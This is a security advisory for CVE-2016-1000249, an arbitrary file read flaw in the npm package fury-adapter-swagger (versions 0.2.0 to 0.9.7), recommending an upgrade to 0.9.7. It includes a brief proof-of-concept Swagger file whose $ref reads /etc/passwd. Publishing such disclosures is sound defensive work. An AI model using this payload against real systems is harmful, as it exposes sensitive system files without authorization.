Advisory

GHSA-2r7f-4h2c-5x73

Also known as: CVE-2016-1000249

Summary

fury-adapter-swagger allows arbitrary file read from system

Details

fury-adapter-swagger from version 0.2.0 until version 0.9.7 has a weakness that allows an attacker to read arbitrary files off of the system. This can be used to read sensitive data, or to cause a denial of service condition by attempting to read something like /dev/zero.

Proof of Concept:

---
swagger: '2.0'
info:
  title: Read local files
  version: '1.0'

paths:
  /foo:
    get:
      responses:
        200:
          description: Some description
          examples:
            text/html:
              example:
                $ref: '/etc/passwd'

Recommendation

Upgrade to version 0.9.7 or later.

Severity

High Basis: The source's own band: HIGH

Dates

Published
2020-09-01 16:38 UTC
Modified
2023-11-08 03:58 UTC

Affected packages and fixes

fury-adapter-swagger

npm · All systems

Affected

  • introduced 0.2.0, fixed 0.9.7 (semver)

Fixed versions

0.9.7

Fix

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences